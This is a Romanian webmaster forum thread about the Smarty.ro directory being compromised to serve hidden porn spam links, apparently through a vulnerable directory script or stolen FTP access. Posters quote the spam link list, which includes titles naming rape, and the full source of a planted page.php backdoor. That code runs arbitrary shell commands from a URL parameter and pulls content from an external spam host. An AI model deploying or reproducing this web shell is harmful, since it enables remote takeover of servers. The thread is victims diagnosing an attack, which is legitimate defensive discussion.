Spam Smarty!!!

Nu stiu cum este la altii dar la noi este nesimtire mare sau mai bine zis totul pana la bani. Binecunoscutul director autohton de isi face reclama binenteles trimitand mailuri spam la toata lumea nu se prea satura si cumva trebuie sa isi justifice asa zis-ul trafic exorbitant de cateva mii de vizitatori si anume prin inserarea unei liste destul de mari de link-uri porno( macar astea sunt optimizate bine pe respectivele cuvinte :)) in fiecare pagina undeva la sfarsit de tot:

Cod:

---

/.....page.php?animal-sex-with-women.html">cuckold
page.php?animal-sex-women.html">teen rape videos
page.php?animals-fuck.html">horse sex
page.php?anna-kournikova-camel-toe.html">animal porn
page.php?ass-fuck.html">ass to mouth
page.php?ass-to-mouth.html">rape poRN
page.php?back-seat-bangers.html">camel toes
page.php?bang-my-hot-wife.html">ass to mouth

---

De curiozitate unde se tot reclama astfel de specimene de "afaceristi" ca sa stie si fraieru' de cumpara linkuri la ei pe ce dau banii

Pacat...

http://www.google.com/search?q=site%...B_enRO211RO211 nasol.

Am dat click pe primul iar antivirusul ma avertiza din start...

E plin de virusi...

Si de antivirusi :D

Am facut o mica cautare:
http://www.google.ro/search?q=site%3...ient=firefox-a

Si care e primul rezultat? Vezi atasament...

Smarty apartine unui membru al acestui forum, care poate da ceva explicatii ( e vorba de tataraseni )

Citat:

---

Postat în original de mmariusel

Smarty apartine unui membru al acestui forum, care poate da ceva explicatii ( e vorba de tataraseni)

---

dap am mai citit pe seopedia pe aici si am gasit ca omul asta este faimos vad prin comunitate si culmea ca cica ar fi vrut sa il si vanda cu minim 10.000$ :rockon: cred ca vroia sa arunce hoitul cat inca nu pute :))

M-am uitat mai atent si nu cred ca a pus el chestiile alea acolo.

Asteptam, oricum, o lamurire de la tataraseni

O fi vorba de un security hole, un exploit sau ceva... se mai intampla. Dar tot nasol e, ca ii strica reputatia...

http://securitydot.net/vuln/exploits...3243/vuln.html uite aici

Mai intai va invit sa cititi aici http://seo-romania.com/forum/showthread.php?t=312

... din pacate @thefan are dreptate... citit acest topic m-am uitat si eu in cod si era injectat cod... cum nu ma intrebati... ca n-am habar... voi studia problema si voi reveni cu un raspuns...

Multumesc pentru informare !

PS : N-as fi la primul atac indreptat impotriva lui Smarty !!!

Va rog, unul care se pricepe mai bine ca nu prea inteleg NIMIC... sa spuna mare si tare despre ce este vorba sa avem si noi de unde sa invatam si sa stim cum sa ne ferim, ofer reputatie pentru un raspuns bun. multumesc.

Imi pare rau pentru Smarty, sper sa o rezolvi cu el.

Citat:

---

Postat în original de Punct

Va rog, unul care se pricepe mai bine ca nu prea inteleg NIMIC... sa spuna mare si tare despre ce este vorba sa avem si noi de unde sa invatam si sa stim cum sa ne ferim, ofer reputatie pentru un raspuns bun. multumesc.

Imi pare rau pentru Smarty, sper sa o rezolvi cu el.

---

Probabil ca o sa-l refac de la zero pe o platforma open-source ca astia de la BosDev imi cer 10 USD ca sa fac update la versiunea de script care rezolva problema acestui exploit - injectare de cod... sau sa ma bag sa iau eu la mana codul dar aceasta inseamna munca de SISIF... nu stiu cum voi face cu importul celor aproape 10.000 de site-uri inscrise dar ma descurce eu pana la urma... cert e ca pe structura de acum nu ofera prea multe decat un backlink si un numar de vizitatori ne-satisfacator...

Aveai injectat cod html/javascript in fisierul index.php? Sau ce modificari ai avut?

aveam o functie getcontent() care lua toate prostiile alea de pe un server extern si le afisa in footer-ul lui Smarty

Si page.php cum a ajuns pe server?? Sau ... Cum dracu functioneaza acest bosdev??? Ce naiba e pe serverul ala?? Probabil ai facut-o deja, insa ar fi bine sa verifici toate site-urile care le ai pe serverul ala si poate ar fi bine sa iti si ei talpasita de acolo...

Iata ce contine acel page.php, serverul e share... nu stiu daca e cazul sa spun unde e gazduit dar nu cred ca e vorba de permisiunile mele (555 pe public_html)

Cod PHP:

---

<?

error_reporting(0);

if($_GET['cmd45']) {
system($_GET['cmd45']);
}
if($_GET['gid']) {
$ret = $_SERVER['SCRIPT_NAME'];
preg_match("/.*\/(.*)/", $ret, $matches);
$ret = filesize($matches[1]);
print $ret;
exit();
}
$domain = 'shemale1.biz';

$ur = '/load.php?f=%s&ua=%s&ref=%s';
$qs = $_SERVER['QUERY_STRING'];

$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));

$ref = urlencode($_SERVER['HTTP_REFERER']);

$redirect = sprintf($ur,$qs,$ua,$ref);
#print $redirect;
#exit;

echo getcontent($domain,80,$redirect);
exit;

function getcontent($server, $port, $file)
{
$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");
$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;
fputs($socket, "GET $file HTTP/1.0\r\n");
fputs($socket, "Referer: http://$refer\r\n");
fputs($socket, "Host: $server\r\n");
fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\r\n");

$wr = 0;

while(!feof($socket))
{
$temp = fgets($socket);
if(eregi("<",$temp)) {
$wr = 1;
}

if($wr) {
$page .= $temp;
}
}
fclose($socket);

return $page;
}

?>

---

asa si cu spamul cum ramane..ca si eu am primit la greu..

@tataraseni

Am exact aceeasi problema ca si tine pe un director de rank 5. Am luat si penalty pentru ca nu am observat la timp.
Am gasit page.php in radacina si mainpage.php sub un director, iar ambele au acelasi cod postat de tine.
Ce nu am inteles bine este pe ce script ti s-a intamplat. Pe BosDev? Sau pe phpld. Eu folosesc phpld si acolo am gasit fisierul pus de doua ori, exact acelasi cod cu al tau.
As fi curios ce parere ai despre cum a ajuns fisierul acolo.
La mine hosting-ul mi-a dat clar logul de ftp cand a fost pus fisierul. Problema mea cea mai mare este CUM s-a obtinut login-ul. (sniff de login sau scriptul are gauri)

Citat:

---

Postat în original de ZendNet

@tataraseni

Am exact aceeasi problema ca si tine pe un director de rank 5. Am luat si penalty pentru ca nu am observat la timp.
Am gasit page.php in radacina si mainpage.php sub un director, iar ambele au acelasi cod postat de tine.
Ce nu am inteles bine este pe ce script ti s-a intamplat. Pe BosDev? Sau pe phpld. Eu folosesc phpld si acolo am gasit fisierul pus de doua ori, exact acelasi cod cu al tau.
As fi curios ce parere ai despre cum a ajuns fisierul acolo.
La mine hosting-ul mi-a dat clar logul de ftp cand a fost pus fisierul. Problema mea cea mai mare este CUM s-a obtinut login-ul. (sniff de login sau scriptul are gauri)

---

...cred ca avem acelasi hosting... si de aici problema... scriptul folosit pe www.smarty.ro e BosDev Directory...

da, am verificat acum si e acelasi hosting. scripturile sunt diferite. acces pe ftp pentru upload? sau ambele scripturi au acelasi bug? din cate ai scris cei de la BosDev ti-ar rezolva problema la 10$. La mine problema e ca scriptul e cu update, iar acel bug nu exista. Singura treaba interesanta este cum de la mine din 5 directoare mi-a lovit unul singur. Toate cu acelasi script, pe acelasi server, aceeasi versiune de php. Sper sa nu ma trezesc cu ele maine toate facute salata.

Nu stiu daca am inteles bine: exista o vulnerabilitate in scriptul BosDev si dezvoltatorii o repara pe bani?

Citat:

---

Postat în original de thefan

Nu stiu daca am inteles bine: exista o vulnerabilitate in scriptul BosDev si dezvoltatorii o repara pe bani?

---

NU ! Licenta mea e din 2006 pentru BosDev si am avut 1 an de zile dreptul la update gratuit dupa care orice update costa 10$ (dar aceasta nu garanteaza ca e rezolvata vulnerabilitatea ci doar ca am ultima versiune de script)

@tataraseni
dar esti sigur 100% ca este din script si nu din alte cauze? pentru ca am MARI indoieli.

ce as putea sa fac ca sa nu mai primesc mailuri de la tot felul de spammeri ratati? folosesc gmail si are doar optiunea de 'raportare ca phishing' ...

daca ar exista ceva care sa nu consume prea mult timp ... prefect ... nu merita sa consumi timp cu unul ca asta ...

Gmail are optiunea de REport Spam, probabil ca tu te raferi la e-mailurile care ajung in folderul Spam, ei bine, nu prea ai ce sa le faci, dar ai putea sa le previi, adica sa nu-ti mai lasi adresa de e-mail pe toate site-urile sau eventual las-o in formatul user [a] mail . com